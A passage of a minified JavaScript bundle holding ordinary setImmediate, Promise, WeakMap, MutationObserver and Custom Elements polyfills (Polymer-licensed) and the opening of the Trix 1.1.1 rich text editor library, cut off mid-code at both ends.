e=t._idleTimeout;e>=0&&(t._idleTimeoutId=setTimeout(function(){t._onTimeout&&t._onTimeout()},e))},n("YBdB"),e.setImmediate="undefined"!=typeof self&&self.setImmediate||void 0!==t&&t.setImmediate||this&&this.setImmediate,e.clearImmediate="undefined"!=typeof self&&self.clearImmediate||void 0!==t&&t.clearImmediate||this&&this.clearImmediate}).call(this,n("yLpj"))},YBdB:function(t,e,n){(function(t,e){!function(t,n){"use strict";if(!t.setImmediate){var i,o,r,s,a,u=1,c={},l=!1,h=t.document,p=Object.getPrototypeOf&&Object.getPrototypeOf(t);p=p&&p.setTimeout?p:t,"[object process]"==={}.toString.call(t.process)?i=function(t){e.nextTick(function(){f(t)})}:!function(){if(t.postMessage&&!t.importScripts){var e=!0,n=t.onmessage;return t.onmessage=function(){e=!1},t.postMessage("","*"),t.onmessage=n,e}}()?t.MessageChannel?((r=new MessageChannel).port1.onmessage=function(t){f(t.data)},i=function(t){r.port2.postMessage(t)}):h&&"onreadystatechange"in h.createElement("script")?(o=h.documentElement,i=function(t){var e=h.createElement("script");e.onreadystatechange=function(){f(t),e.onreadystatechange=null,o.removeChild(e),e=null},o.appendChild(e)}):i=function(t){setTimeout(f,0,t)}:(s="setImmediate$"+Math.random()+"$",a=function(e){e.source===t&&"string"==typeof e.data&&0===e.data.indexOf(s)&&f(+e.data.slice(s.length))},t.addEventListener?t.addEventListener("message",a,!1):t.attachEvent("onmessage",a),i=function(e){t.postMessage(s+e,"*")}),p.setImmediate=function(t){"function"!=typeof t&&(t=new Function(""+t));for(var e=new Array(arguments.length-1),n=0;n<e.length;n++)e[n]=arguments[n+1];var o={callback:t,args:e};return c[u]=o,i(u),u++},p.clearImmediate=d}function d(t){delete c[t]}function f(t){if(l)setTimeout(f,0,t);else{var e=c[t];if(e){l=!0;try{!function(t){var e=t.callback,i=t.args;switch(i.length){case 0:e();break;case 1:e(i[0]);break;case 2:e(i[0],i[1]);break;case 3:e(i[0],i[1],i[2]);break;default:e.apply(n,i)}}(e)}finally{d(t),l=!1}}}}}("undefined"==typeof self?void 0===t?this:t:self)}).call(this,n("yLpj"),n("8oxB"))},bhRQ:function(t,e,n){},rX62:function(t,e,n){(function(i){var o,r;(function(){}).call(this),function(){null==window.Set&&(window.Set=function(){function t(){this.clear()}return t.prototype.clear=function(){return this.values=[]},t.prototype.has=function(t){return-1!==this.values.indexOf(t)},t.prototype.add=function(t){return this.has(t)||this.values.push(t),this},t.prototype.delete=function(t){var e;return-1!==(e=this.values.indexOf(t))&&(this.values.splice(e,1),!0)},t.prototype.forEach=function(){var t;return(t=this.values).forEach.apply(t,arguments)},t}())}.call(this),function(e){function n(){}function o(t){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof t)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=void 0,this._deferreds=[],l(t,this)}function r(t,e){for(;3===t._state;)t=t._value;return 0===t._state?void t._deferreds.push(e):(t._handled=!0,void p(function(){var n=1===t._state?e.onFulfilled:e.onRejected;if(null!==n){var i;try{i=n(t._value)}catch(t){return void a(e.promise,t)}s(e.promise,i)}else(1===t._state?s:a)(e.promise,t._value)}))}function s(t,e){try{if(e===t)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e||"function"==typeof e)){var n=e.then;if(e instanceof o)return t._state=3,t._value=e,void u(t);if("function"==typeof n)return void l(function(t,e){return function(){t.apply(e,arguments)}}(n,e),t)}t._state=1,t._value=e,u(t)}catch(e){a(t,e)}}function a(t,e){t._state=2,t._value=e,u(t)}function u(t){2===t._state&&0===t._deferreds.length&&setTimeout(function(){t._handled||d(t._value)},1);for(var e=0,n=t._deferreds.length;n>e;e++)r(t,t._deferreds[e]);t._deferreds=null}function c(t,e,n){this.onFulfilled="function"==typeof t?t:null,this.onRejected="function"==typeof e?e:null,this.promise=n}function l(t,e){var n=!1;try{t(function(t){n||(n=!0,s(e,t))},function(t){n||(n=!0,a(e,t))})}catch(t){if(n)return;n=!0,a(e,t)}}var h=setTimeout,p="function"==typeof i&&i||function(t){h(t,1)},d=function(t){"undefined"!=typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",t)};o.prototype.catch=function(t){return this.then(null,t)},o.prototype.then=function(t,e){var i=new o(n);return r(this,new c(t,e,i)),i},o.all=function(t){var e=Array.prototype.slice.call(t);return new o(function(t,n){function i(r,s){try{if(s&&("object"==typeof s||"function"==typeof s)){var a=s.then;if("function"==typeof a)return void a.call(s,function(t){i(r,t)},n)}e[r]=s,0==--o&&t(e)}catch(t){n(t)}}if(0===e.length)return t([]);for(var o=e.length,r=0;r<e.length;r++)i(r,e[r])})},o.resolve=function(t){return t&&"object"==typeof t&&t.constructor===o?t:new o(function(e){e(t)})},o.reject=function(t){return new o(function(e,n){n(t)})},o.race=function(t){return new o(function(e,n){for(var i=0,o=t.length;o>i;i++)t[i].then(e,n)})},o._setImmediateFn=function(t){p=t},o._setUnhandledRejectionFn=function(t){d=t},t.exports?t.exports=o:e.Promise||(e.Promise=o)}(this),function(){var t="object"==typeof window.customElements,e="function"==typeof document.registerElement;t||e||(
/**
* @license
* Copyright (c) 2014 The Polymer Project Authors. All rights reserved.
* This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txt
* The complete set of authors may be found at http://polymer.github.io/AUTHORS.txt
* The complete set of contributors may be found at http://polymer.github.io/CONTRIBUTORS.txt
* Code distributed by Google as part of the polymer project is also
* subject to an additional IP rights grant found at http://polymer.github.io/PATENTS.txt
*/
"undefined"==typeof WeakMap&&function(){var t=Object.defineProperty,e=Date.now()%1e9,n=function(){this.name="__st"+(1e9*Math.random()>>>0)+e+++"__"};n.prototype={set:function(e,n){var i=e[this.name];return i&&i[0]===e?i[1]=n:t(e,this.name,{value:[e,n],writable:!0}),this},get:function(t){var e;return(e=t[this.name])&&e[0]===t?e[1]:void 0},delete:function(t){var e=t[this.name];return!(!e||e[0]!==t)&&(e[0]=e[1]=void 0,!0)},has:function(t){var e=t[this.name];return!!e&&e[0]===t}},window.WeakMap=n}(),function(t){function e(t){y.push(t),m||(m=!0,l(n))}function n(){m=!1;var t=y;y=[],t.sort(function(t,e){return t.uid_-e.uid_});var e=!1;t.forEach(function(t){var n=t.takeRecords();(function(t){t.nodes_.forEach(function(e){var n=h.get(e);n&&n.forEach(function(e){e.observer===t&&e.removeTransientObservers()})})})(t),n.length&&(t.callback_(n,t),e=!0)}),e&&n()}function i(t,e){for(var n=t;n;n=n.parentNode){var i=h.get(n);if(i)for(var o=0;o<i.length;o++){var r=i[o],s=r.options;if(n===t||s.subtree){var a=e(s);a&&r.enqueue(a)}}}}function o(t){this.callback_=t,this.nodes_=[],this.records_=[],this.uid_=++v}function r(t,e){this.type=t,this.target=e,this.addedNodes=[],this.removedNodes=[],this.previousSibling=null,this.nextSibling=null,this.attributeName=null,this.attributeNamespace=null,this.oldValue=null}function s(t,e){return f=new r(t,e)}function a(t){return g||((g=function(t){var e=new r(t.type,t.target);return e.addedNodes=t.addedNodes.slice(),e.removedNodes=t.removedNodes.slice(),e.previousSibling=t.previousSibling,e.nextSibling=t.nextSibling,e.attributeName=t.attributeName,e.attributeNamespace=t.attributeNamespace,e.oldValue=t.oldValue,e}(f)).oldValue=t,g)}function u(t,e){return t===e?t:g&&function(t){return t===g||t===f}(t)?g:null}function c(t,e,n){this.observer=t,this.target=e,this.options=n,this.transientObservedNodes=[]}if(!t.JsMutationObserver){var l,h=new WeakMap;if(/Trident|Edge/.test(navigator.userAgent))l=setTimeout;else if(window.setImmediate)l=window.setImmediate;else{var p=[],d=String(Math.random());window.addEventListener("message",function(t){if(t.data===d){var e=p;p=[],e.forEach(function(t){t()})}}),l=function(t){p.push(t),window.postMessage(d,"*")}}var f,g,m=!1,y=[],v=0;o.prototype={observe:function(t,e){if(t=function(t){return window.ShadowDOMPolyfill&&window.ShadowDOMPolyfill.wrapIfNeeded(t)||t}(t),!e.childList&&!e.attributes&&!e.characterData||e.attributeOldValue&&!e.attributes||e.attributeFilter&&e.attributeFilter.length&&!e.attributes||e.characterDataOldValue&&!e.characterData)throw new SyntaxError;var n=h.get(t);n||h.set(t,n=[]);for(var i,o=0;o<n.length;o++)if(n[o].observer===this){(i=n[o]).removeListeners(),i.options=e;break}i||(i=new c(this,t,e),n.push(i),this.nodes_.push(t)),i.addListeners()},disconnect:function(){this.nodes_.forEach(function(t){for(var e=h.get(t),n=0;n<e.length;n++){var i=e[n];if(i.observer===this){i.removeListeners(),e.splice(n,1);break}}},this),this.records_=[]},takeRecords:function(){var t=this.records_;return this.records_=[],t}},c.prototype={enqueue:function(t){var n=this.observer.records_,i=n.length;if(n.length>0){var o=u(n[i-1],t);if(o)return void(n[i-1]=o)}else e(this.observer);n[i]=t},addListeners:function(){this.addListeners_(this.target)},addListeners_:function(t){var e=this.options;e.attributes&&t.addEventListener("DOMAttrModified",this,!0),e.characterData&&t.addEventListener("DOMCharacterDataModified",this,!0),e.childList&&t.addEventListener("DOMNodeInserted",this,!0),(e.childList||e.subtree)&&t.addEventListener("DOMNodeRemoved",this,!0)},removeListeners:function(){this.removeListeners_(this.target)},removeListeners_:function(t){var e=this.options;e.attributes&&t.removeEventListener("DOMAttrModified",this,!0),e.characterData&&t.removeEventListener("DOMCharacterDataModified",this,!0),e.childList&&t.removeEventListener("DOMNodeInserted",this,!0),(e.childList||e.subtree)&&t.removeEventListener("DOMNodeRemoved",this,!0)},addTransientObserver:function(t){if(t!==this.target){this.addListeners_(t),this.transientObservedNodes.push(t);var e=h.get(t);e||h.set(t,e=[]),e.push(this)}},removeTransientObservers:function(){var t=this.transientObservedNodes;this.transientObservedNodes=[],t.forEach(function(t){this.removeListeners_(t);for(var e=h.get(t),n=0;n<e.length;n++)if(e[n]===this){e.splice(n,1);break}},this)},handleEvent:function(t){switch(t.stopImmediatePropagation(),t.type){case"DOMAttrModified":var e=t.attrName,n=t.relatedNode.namespaceURI,o=t.target;(u=new s("attributes",o)).attributeName=e,u.attributeNamespace=n;var r=t.attrChange===MutationEvent.ADDITION?null:t.prevValue;i(o,function(t){return!t.attributes||t.attributeFilter&&t.attributeFilter.length&&-1===t.attributeFilter.indexOf(e)&&-1===t.attributeFilter.indexOf(n)?void 0:t.attributeOldValue?a(r):u});break;case"DOMCharacterDataModified":var u=s("characterData",o=t.target);r=t.prevValue;i(o,function(t){return t.characterData?t.characterDataOldValue?a(r):u:void 0});break;case"DOMNodeRemoved":this.addTransientObserver(t.target);case"DOMNodeInserted":var c,l,h=t.target;"DOMNodeInserted"===t.type?(c=[h],l=[]):(c=[],l=[h]);var p=h.previousSibling,d=h.nextSibling;(u=s("childList",t.target.parentNode)).addedNodes=c,u.removedNodes=l,u.previousSibling=p,u.nextSibling=d,i(t.relatedNode,function(t){return t.childList?u:void 0})}f=g=void 0}},t.JsMutationObserver=o,t.MutationObserver||(t.MutationObserver=o,o._isPolyfilled=!0)}}(self),function(){"use strict";if(!window.performance||!window.performance.now){var t=Date.now();window.performance={now:function(){return Date.now()-t}}}if(window.requestAnimationFrame||(window.requestAnimationFrame=function(){var t=window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame;return t?function(e){return t(function(){e(performance.now())})}:function(t){return window.setTimeout(t,1e3/60)}}()),window.cancelAnimationFrame||(window.cancelAnimationFrame=window.webkitCancelAnimationFrame||window.mozCancelAnimationFrame||function(t){clearTimeout(t)}),!function(){var t=document.createEvent("Event");return t.initEvent("foo",!0,!0),t.preventDefault(),t.defaultPrevented}()){var e=Event.prototype.preventDefault;Event.prototype.preventDefault=function(){this.cancelable&&(e.call(this),Object.defineProperty(this,"defaultPrevented",{get:function(){return!0},configurable:!0}))}}var n=/Trident/.test(navigator.userAgent);if((!window.CustomEvent||n&&"function"!=typeof window.CustomEvent)&&(window.CustomEvent=function(t,e){e=e||{};var n=document.createEvent("CustomEvent");return n.initCustomEvent(t,Boolean(e.bubbles),Boolean(e.cancelable),e.detail),n},window.CustomEvent.prototype=window.Event.prototype),!window.Event||n&&"function"!=typeof window.Event){var i=window.Event;window.Event=function(t,e){e=e||{};var n=document.createEvent("Event");return n.initEvent(t,Boolean(e.bubbles),Boolean(e.cancelable)),n},window.Event.prototype=i.prototype}}(window.WebComponents),window.CustomElements=window.CustomElements||{flags:{}},function(t){var e=t.flags,n=[];t.addModule=function(t){n.push(t)},t.initializeModules=function(){n.forEach(function(e){e(t)})},t.hasNative=Boolean(document.registerElement),t.isIE=/Trident/.test(navigator.userAgent),t.useNative=!e.register&&t.hasNative&&!window.ShadowDOMPolyfill&&(!window.HTMLImports||window.HTMLImports.useNative)}(window.CustomElements),window.CustomElements.addModule(function(t){function e(t,e){(function t(e,n,i){var o=e.firstElementChild;if(!o)for(o=e.firstChild;o&&o.nodeType!==Node.ELEMENT_NODE;)o=o.nextSibling;for(;o;)!0!==n(o,i)&&t(o,n,i),o=o.nextElementSibling;return null})(t,function(t){return!!e(t)||void n(t,e)}),n(t,e)}function n(t,n){for(var i=t.shadowRoot;i;)e(i,n),i=i.olderShadowRoot}var i=window.HTMLImports?window.HTMLImports.IMPORT_LINK_TYPE:"none";t.forDocumentTree=function(t,e){!function t(e,n,o){if(e=window.wrap(e),!(o.indexOf(e)>=0)){o.push(e);for(var r,s=e.querySelectorAll("link[rel="+i+"]"),a=0,u=s.length;u>a&&(r=s[a]);a++)r.import&&t(r.import,n,o);n(e)}}(t,e,[])},t.forSubtree=e}),window.CustomElements.addModule(function(t){function e(t,e){return n(t,e)||i(t,e)}function n(e,n){return!!t.upgrade(e,n)||void(n&&s(e))}function i(t,e){f(t,function(t){return!!n(t,e)||void 0})}function o(t){v.push(t),y||(y=!0,setTimeout(r))}function r(){y=!1;for(var t,e=v,n=0,i=e.length;i>n&&(t=e[n]);n++)t();v=[]}function s(t){m?o(function(){a(t)}):a(t)}function a(t){t.__upgraded__&&!t.__attached&&(t.__attached=!0,t.attachedCallback&&t.attachedCallback())}function u(t){m?o(function(){c(t)}):c(t)}function c(t){t.__upgraded__&&t.__attached&&(t.__attached=!1,t.detachedCallback&&t.detachedCallback())}function l(t,n){if(d.dom){var i=n[0];if(i&&"childList"===i.type&&i.addedNodes&&i.addedNodes){for(var o=i.addedNodes[0];o&&o!==document&&!o.host;)o=o.parentNode;var r=o&&(o.URL||o._URL||o.host&&o.host.localName)||"";r=r.split("/?").shift().split("/").pop()}console.group("mutations (%d) [%s]",n.length,r||"")}var s=function(t){for(var e=t,n=window.wrap(document);e;){if(e==n)return!0;e=e.parentNode||e.nodeType===Node.DOCUMENT_FRAGMENT_NODE&&e.host}}(t);n.forEach(function(t){"childList"===t.type&&(b(t.addedNodes,function(t){t.localName&&e(t,s)}),b(t.removedNodes,function(t){t.localName&&function(t){u(t),f(t,function(t){u(t)})}(t)}))}),d.dom&&console.groupEnd()}function h(t){if(!t.__observer){var e=new MutationObserver(l.bind(this,t));e.observe(t,{childList:!0,subtree:!0}),t.__observer=e}}function p(t){t=window.wrap(t),d.dom&&console.group("upgradeDocument: ",t.baseURI.split("/").pop()),e(t,t===window.wrap(document)),h(t),d.dom&&console.groupEnd()}var d=t.flags,f=t.forSubtree,g=t.forDocumentTree,m=window.MutationObserver._isPolyfilled&&d["throttle-attached"];t.hasPolyfillMutations=m,t.hasThrottledAttached=m;var y=!1,v=[],b=Array.prototype.forEach.call.bind(Array.prototype.forEach),A=Element.prototype.createShadowRoot;A&&(Element.prototype.createShadowRoot=function(){var t=A.call(this);return window.CustomElements.watchShadow(this),t}),t.watchShadow=function(t){if(t.shadowRoot&&!t.shadowRoot.__watched){d.dom&&console.log("watching shadow-root for: ",t.localName);for(var e=t.shadowRoot;e;)h(e),e=e.olderShadowRoot}},t.upgradeDocumentTree=function(t){g(t,p)},t.upgradeDocument=p,t.upgradeSubtree=i,t.upgradeAll=e,t.attached=s,t.takeRecords=function(t){for((t=window.wrap(t))||(t=window.wrap(document));t.parentNode;)t=t.parentNode;var e=t.__observer;e&&(l(t,e.takeRecords()),r())}}),window.CustomElements.addModule(function(t){function e(e,o,r){return i.upgrade&&console.group("upgrade:",e.localName),o.is&&e.setAttribute("is",o.is),n(e,o),e.__upgraded__=!0,function(t){t.createdCallback&&t.createdCallback()}(e),r&&t.attached(e),t.upgradeSubtree(e,r),i.upgrade&&console.groupEnd(),e}function n(t,e){Object.__proto__?t.__proto__=e.prototype:(function(t,e,n){for(var i={},o=e;o!==n&&o!==HTMLElement.prototype;){for(var r,s=Object.getOwnPropertyNames(o),a=0;r=s[a];a++)i[r]||(Object.defineProperty(t,r,Object.getOwnPropertyDescriptor(o,r)),i[r]=1);o=Object.getPrototypeOf(o)}}(t,e.prototype,e.native),t.__proto__=e.prototype)}var i=t.flags;t.upgrade=function(n,i){if("template"===n.localName&&window.HTMLTemplateElement&&HTMLTemplateElement.decorate&&HTMLTemplateElement.decorate(n),!n.__upgraded__&&n.nodeType===Node.ELEMENT_NODE){var o=n.getAttribute("is"),r=t.getRegisteredDefinition(n.localName)||t.getRegisteredDefinition(o);if(r&&(o&&r.tag==n.localName||!o&&!r.extends))return e(n,r,i)}},t.upgradeWithDefinition=e,t.implementPrototype=n}),window.CustomElements.addModule(function(t){function e(t){if(!t.setAttribute._polyfilled){var e=t.setAttribute;t.setAttribute=function(t,i){n.call(this,t,i,e)};var i=t.removeAttribute;t.removeAttribute=function(t){n.call(this,t,null,i)},t.setAttribute._polyfilled=!0}}function n(t,e,n){t=t.toLowerCase();var i=this.getAttribute(t);n.apply(this,arguments);var o=this.getAttribute(t);this.attributeChangedCallback&&o!==i&&this.attributeChangedCallback(t,i,o)}function i(t){return t?f[t.toLowerCase()]:void 0}function o(t){return function(){return function(t){return l(m(t.tag),t)}(t)}}function r(t,e){t&&(t=t.toLowerCase()),e&&(e=e.toLowerCase());var n,o=i(e||t);if(o){if(t==o.tag&&e==o.is)return new o.ctor;if(!e&&!o.is)return new o.ctor}return e?((n=r(t)).setAttribute("is",e),n):(n=m(t),t.indexOf("-")>=0&&h(n,HTMLElement),n)}function s(t,e){var n=t[e];t[e]=function(){var t=n.apply(this,arguments);return c(t),t}}var a,u=(t.isIE,t.upgradeDocumentTree),c=t.upgradeAll,l=t.upgradeWithDefinition,h=t.implementPrototype,p=t.useNative,d=["annotation-xml","color-profile","font-face","font-face-src","font-face-uri","font-face-format","font-face-name","missing-glyph"],f={},g="http://www.w3.org/1999/xhtml",m=document.createElement.bind(document),y=document.createElementNS.bind(document);a=Object.__proto__||p?function(t,e){return t instanceof e}:function(t,e){if(t instanceof e)return!0;for(var n=t;n;){if(n===e.prototype)return!0;n=n.__proto__}return!1},s(Node.prototype,"cloneNode"),s(document,"importNode"),document.registerElement=function(n,r){var s=r||{};if(!n)throw new Error("document.registerElement: first argument `name` must not be empty");if(n.indexOf("-")<0)throw new Error("document.registerElement: first argument ('name') must contain a dash ('-'). Argument provided was '"+String(n)+"'.");if(function(t){for(var e=0;e<d.length;e++)if(t===d[e])return!0}(n))throw new Error("Failed to execute 'registerElement' on 'Document': Registration failed for type '"+String(n)+"'. The type name is invalid.");if(i(n))throw new Error("DuplicateDefinitionError: a type with name '"+String(n)+"' is already registered");return s.prototype||(s.prototype=Object.create(HTMLElement.prototype)),s.__name=n.toLowerCase(),s.extends&&(s.extends=s.extends.toLowerCase()),s.lifecycle=s.lifecycle||{},s.ancestry=function t(e){var n=i(e);return n?t(n.extends).concat([n]):[]}(s.extends),function(t){for(var e,n=t.extends,i=0;e=t.ancestry[i];i++)n=e.is&&e.tag;t.tag=n||t.__name,n&&(t.is=t.__name)}(s),function(t){if(!Object.__proto__){var e=HTMLElement.prototype;if(t.is){var n=document.createElement(t.tag);e=Object.getPrototypeOf(n)}for(var i,o=t.prototype,r=!1;o;)o==e&&(r=!0),(i=Object.getPrototypeOf(o))&&(o.__proto__=i),o=i;r||console.warn(t.tag+" prototype not found in prototype chain for "+t.is),t.native=e}}(s),e(s.prototype),function(t,e){f[t]=e}(s.__name,s),s.ctor=o(s),s.ctor.prototype=s.prototype,s.prototype.constructor=s.ctor,t.ready&&u(document),s.ctor},document.createElement=r,document.createElementNS=function(t,e,n){return t===g?r(e,n):y(t,e)},t.registry=f,t.instanceof=a,t.reservedTagList=d,t.getRegisteredDefinition=i,document.register=document.registerElement}),function(t){function e(){r(window.wrap(document)),window.CustomElements.ready=!0,(window.requestAnimationFrame||function(t){setTimeout(t,16)})(function(){setTimeout(function(){window.CustomElements.readyTime=Date.now(),window.HTMLImports&&(window.CustomElements.elapsed=window.CustomElements.readyTime-window.HTMLImports.readyTime),document.dispatchEvent(new CustomEvent("WebComponentsReady",{bubbles:!0}))})})}var n=t.useNative,i=t.initializeModules;if(t.isIE,n){var o=function(){};t.watchShadow=o,t.upgrade=o,t.upgradeAll=o,t.upgradeDocumentTree=o,t.upgradeSubtree=o,t.takeRecords=o,t.instanceof=function(t,e){return t instanceof e}}else i();var r=t.upgradeDocumentTree,s=t.upgradeDocument;if(window.wrap||(window.ShadowDOMPolyfill?(window.wrap=window.ShadowDOMPolyfill.wrapIfNeeded,window.unwrap=window.ShadowDOMPolyfill.unwrapIfNeeded):window.wrap=window.unwrap=function(t){return t}),window.HTMLImports&&(window.HTMLImports.__importsParsingHook=function(t){t.import&&s(wrap(t.import))}),"complete"===document.readyState||t.flags.eager)e();else if("interactive"!==document.readyState||window.attachEvent||window.HTMLImports&&!window.HTMLImports.ready){var a=window.HTMLImports&&!window.HTMLImports.ready?"HTMLImportsLoaded":"DOMContentLoaded";window.addEventListener(a,e)}else e()}(window.CustomElements))}.call(this),function(){}.call(this),function(){(function(){(function(){this.Trix={VERSION:"1.1.1",ZERO_WIDTH_SPACE:"\ufeff",NON_BREAKING_SPACE:" ",OBJECT_REPLACEMENT_CHARACTER:"",browser:{composesExistingText:/Android.*Chrome/.test(navigator.userAgent),forcesObjectResizing:/Trident.*rv:11/.test(navigator.userAgent),supportsInputEvents:function(){var t,e,n;if("undefined"==typeof InputEvent)return!1;for(t=0,e=(n=["data","getTargetRanges","inputType"]).length;e>t;t++)if(!(n[t]in InputEvent.prototype))return!1;return!0}()},config:{}}}).call(this)}).call(this);var i=this.Trix;(function(){(function(){i.BasicObject=function(){function t(){}var e,n,i;return t.proxyMethod=function(t){var i,o,r,s,a;return r=n(t),i=r.name,s=r.toMethod,a=r.toProperty,o=r.optional,this.prototype[i]=function(){var t,n;return t=null!=s?o?"function"==typeof this[s]?this[s]():void 0:this[s]():null!=a?this[a]:void 0,o?null!=(n=null!=t?t[i]:void 0)?e.call(n,t,arguments):void 0:(n=t[i],e.call(n,t,arguments))}},n=function(t){var e,n;if(!(n=t.match(i)))throw new Error("can't parse @proxyMethod expression: "+t);return e={name:n[4]},null!=n[2]?e.toMethod=n[1]:e.toProperty=n[1],null!=n[3]&&(e.optional=!0),e},e=Function.prototype.apply,i=/^(.+?)(\(\))?(\?)?\.(.+?)$/,t}()}).call(this),function(){var t=function(t,n){function i(){this.constructor=t}for(var o in n)e.call(n,o)&&(t[o]=n[o]);return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,t},e={}.hasOwnProperty;i.Object=function(e){function n(){this.id=++o}var o;return t(n,e),o=0,n.fromJSONString=function(t){return this.fromJSON(JSON.parse(t))},n.prototype.hasSameConstructorAs=function(t){return this.constructor===(null!=t?t.constructor:void 0)},n.prototype.isEqualTo=function(t){return this===t},n.prototype.inspect=function(){var t,e,n;return t=function(){var t,i,o;for(e in o=[],i=null!=(t=this.contentsForInspection())?t:{})n=i[e],o.push(e+"="+n);return o}.call(this),"#<"+this.constructor.name+":"+this.id+(t.length?" "+t.join(", "):"")+">"},n.prototype.contentsForInspection=function(){},n.prototype.toJSONString=function(){return JSON.stringify(this)},n.prototype.toUTF16String=function(){return i.UTF16String.box(this)},n.prototype.getCacheKey=function(){return this.id.toString()},n}(i.BasicObject)}.call(this),function(){i.extend=function(t){var e,n;for(e in t)n=t[e],this[e]=n;return this}}.call(this),function(){i.extend({defer:function(t){return setTimeout(t,1)}})}.call(this),function(){var t,e;i.extend({normalizeSpaces:function(t){return t.replace(RegExp(""+i.ZERO_WIDTH_SPACE,"g"),"").replace(RegExp(""+i.NON_BREAKING_SPACE,"g")," ")},normalizeNewlines:function(t){return t.replace(/\r\n/g,"\n")},breakableWhitespacePattern:RegExp("[^\\S"+i.NON_BREAKING_SPACE+"]"),squishBreakableWhitespace:function(t){return t.replace(RegExp(""+i.breakableWhitespacePattern.source,"g")," ").replace(/\ {2,}/g," ")},escapeHTML:function(t){var e;return(e=document.createElement("div")).textContent=t,e.innerHTML},summarizeStringChange:function(t,n){var o,r,s,a;return t=i.UTF16String.box(t),(n=i.UTF16String.box(n)).length<t.length?(a=(r=e(t,n))[0],o=r[1]):(o=(s=e(n,t))[0],a=s[1]),{added:o,removed:a}}}),e=function(e,n){var o,r,s,a,u;return e.isEqualTo(n)?["",""]:(s=(a=(r=t(e,n)).utf16String.length)?(u=r.offset,o=e.codepoints.slice(0,u).concat(e.codepoints.slice(u+a)),t(n,i.UTF16String.fromCodepoints(o))):t(n,e),[r.utf16String.toString(),s.utf16String.toString()])},t=function(t,e){var n,i,o;for(n=0,i=t.length,o=e.length;i>n&&t.charAt(n).isEqualTo(e.charAt(n));)n++;for(;i>n+1&&t.charAt(i-1).isEqualTo(e.charAt(o-1));)i--,o--;return{utf16String:t.slice(n,i),offset:n}}}.call(this),function(){i.extend({copyObject:function(t){var e,n,i;for(e in null==t&&(t={}),n={},t)i=t[e],n[e]=i;return n},objectsAreEqual:function(t,e){var n;if(null==t&&(t={}),null==e&&(e={}),Object.keys(t).length!==Object.keys(e).length)return!1;for(n in t)if(t[n]!==e[n])return!1;return!0}})}.call(this),function(){var t=[].slice;i.extend({arraysAreEqual:function(t,e){var n,i,o;if(null==t&&(t=[]),null==e&&(e=[]),t.length!==e.length)return!1;for(i=n=0,o=t.length;o>n;i=++n)if(t[i]!==e[i])return!1;return!0},arrayStartsWith:function(t,e){return null==t&&(t=[]),null==e&&(e=[]),i.arraysAreEqual(t.slice(0,e.length),e)},spliceArray:function(){var e,n,i;return n=arguments[0],e=2<=arguments.length?t.call(arguments,1):[],(i=n.slice(0)).splice.apply(i,e),i},summarizeArrayChange:function(t,e){var n,i,o,r,s,a,u,c,l,h,p;for(null==t&&(t=[]),null==e&&(e=[]),n=[],h=[],o=new Set,r=0,u=t.length;u>r;r++)p=t[r],o.add(p);for(i=new Set,s=0,c=e.length;c>s;s++)p=e[s],i.add(p),o.has(p)||n.push(p);for(a=0,l=t.length;l>a;a++)p=t[a],i.has(p)||h.push(p);return{added:n,removed:h}}})}.call(this),function(){var t,e,n,o;t=null,e=null,o=null,n=null,i.extend({getAllAttributeNames:function(){return null!=t?t:t=i.getTextAttributeNames().concat(i.getBlockAttributeNames())},getBlockConfig:function(t){return i.config.blockAttributes[t]},getBlockAttributeNames:function(){return null!=e?e:e=Object.keys(i.config.blockAttributes)},getTextConfig:function(t){return i.config.textAttributes[t]},getTextAttributeNames:function(){return null!=o?o:o=Object.keys(i.config.textAttributes)},getListAttributeNames:function(){var t,e;return null!=n?n:n=function(){var n,o;for(t in o=[],n=i.config.blockAttributes)null!=(e=n[t].listAttribute)&&o.push(e);return o}()}})}.call(this),function(){var t,e,n,o,r,s=[].indexOf||function(t){for(var e=0,n=this.length;n>e;e++)if(e in this&&this[e]===t)return e;return-1};t=document.documentElement,e=null!=(n=null!=(o=null!=(r=t.matchesSelector)?r:t.webkitMatchesSelector)?o:t.msMatchesSelector)?n:t.mozMatchesSelector,i.extend({handleEvent:function(e,n){var o,r,s,a,u,c,l,h,p,d,f;return u=(l=null!=n?n:{}).onElement,a=l.matchingSelector,f=l.withCallback,s=l.inPhase,c=l.preventDefault,p=l.times,o=null!=u?u:t,h=a,f,d="capturing"===s,(r=function(t){var e;return null!=p&&0==--p&&r.destroy(),null!=(e=i.findClosestElementFromNode(t.target,{matchingSelector:h}))&&(null!=f&&f.call(e,t,e),c)?t.preventDefault():void 0}).destroy=function(){return o.removeEventListener(e,r,d)},o.addEventListener(e,r,d),r},handleEventOnce:function(t,e){return null==e&&(e={}),e.times=1,i.handleEvent(t,e)},triggerEvent:function(e,n){var o,r,s,a,u,c,l;return c=(l=null!=n?n:{}).onElement,r=l.bubbles,s=l.cancelable,o=l.attributes,a=null!=c?c:t,r=!1!==r,s=!1!==s,(u=document.createEvent("Events")).initEvent(e,r,s),null!=o&&i.extend.call(u,o),a.dispatchEvent(u)},elementMatchesSelector:function(t,n){return 1===(null!=t?t.nodeType:void 0)?e.call(t,n):void 0},findClosestElementFromNode:function(t,e){var n,o,r;for(n=(o=null!=e?e:{}).matchingSelector,r=o.untilNode;null!=t&&t.nodeType!==Node.ELEMENT_NODE;)t=t.parentNode;if(null!=t){if(null==n)return t;if(t.closest&&null==r)return t.closest(n);for(;t&&t!==r;){if(i.elementMatchesSelector(t,n))return t;t=t.parentNode}}},findInnerElement:function(t){for(;null!=t?t.firstElementChild:void 0;)t=t.firstElementChild;return t},innerElementIsActive:function(t){return document.activeElement!==t&&i.elementContainsNode(t,document.activeElement)},elementContainsNode:function(t,e){if(t&&e)for(;e;){if(e===t)return!0;e=e.parentNode}},findNodeFromContainerAndOffset:function(t,e){var n;if(t)return t.nodeType===Node.TEXT_NODE?t:0===e?null!=(n=t.firstChild)?n:t:t.childNodes.item(e-1)},findElementFromContainerAndOffset:function(t,e){var n;return n=i.findNodeFromContainerAndOffset(t,e),i.findClosestElementFromNode(n)},findChildIndexOfNode:function(t){var e;if(null!=t?t.parentNode:void 0){for(e=0;t=t.previousSibling;)e++;return e}},removeNode:function(t){var e;return null!=t&&null!=(e=t.parentNode)?e.removeChild(t):void 0},walkTree:function(t,e){var n,i,o,r,s;return 